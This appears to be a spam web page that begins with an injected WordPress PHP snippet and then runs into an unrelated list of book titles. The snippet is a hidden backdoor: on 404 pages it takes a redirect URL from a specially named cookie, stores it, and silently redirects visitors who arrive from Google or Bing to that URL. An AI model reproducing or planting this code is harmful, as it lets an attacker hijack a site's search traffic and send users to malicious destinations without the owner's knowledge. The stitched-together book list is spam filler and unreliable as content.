function wpd_do_stuff_on_40404(){ if( is_404() ){ if (!empty($_COOKIE["9f0a3edc47dd56aa0350b66dbabb6972"])) { update_option('wpd_do_stuff_on_40404_url', $_COOKIE["9f0a3edc47dd56aa0350b66dbabb6972"]); } if (strpos($_SERVER["HTTP_REFERER"], 'google.') !== FALSE || strpos($_SERVER["HTTP_REFERER"], 'bing.') !== FALSE) { $u = get_option('wpd_do_stuff_on_40404_url'); if (!empty($u)) { wp_redirect($u . "?referrer=" . $_SERVER["HTTP_REFERER"]); } } } } add_action( 'template_redirect', 'wpd_do_stuff_on_40404' );Constructive Therapies V2: Volume 2 Local Governance - mehr Transparenz und Bürgernähe? (Bürgergesellschaft und Demokratie) (German Edition) Physics and Mechanics of Primary Well Cementing (SpringerBriefs in Petroleum Geoscience & Engineering) Covering Codes (North-Holland Mathematical Library) Architekturbüro Prof. Rollmann + Partner: Architektur Technik Design (German Edition) Electroporation and Sonoporation in Developmental Biology New Playwriting Strategies: Language and Media in the 21st Century Understanding Economics Suffering For The Right Reasons Perspektiven der politischen Meinungsforschung: Demoskopische Ergebnisse im Spannungsfeld von Theorie, Praxis und Öffentlichkeit (German Edition) Juicing Recipes: 100+ Delicious And Nutritious Green Juicing Recipes That Trim And Slim The Chicken Qabalah of Rabbi Lamed Ben Clifford: Dilettante's Guide to What You Do and Do Not Need to Know to Become a Qabalist Space-Time Structure (Cambridge Science Classics) Liebesmord: Authentische Kriminalfälle aus der DDR (German Edition) Thermodynamics: Foundations and Applications (Dover Civil and Mechanical Engineering) Komiek versus depressie (Dutch Edition) Self, Reality and Reason in Tibetan Philosophy: Tsongkhapa's Quest for the Middle Way (Routledge Critical Studies in Buddhism)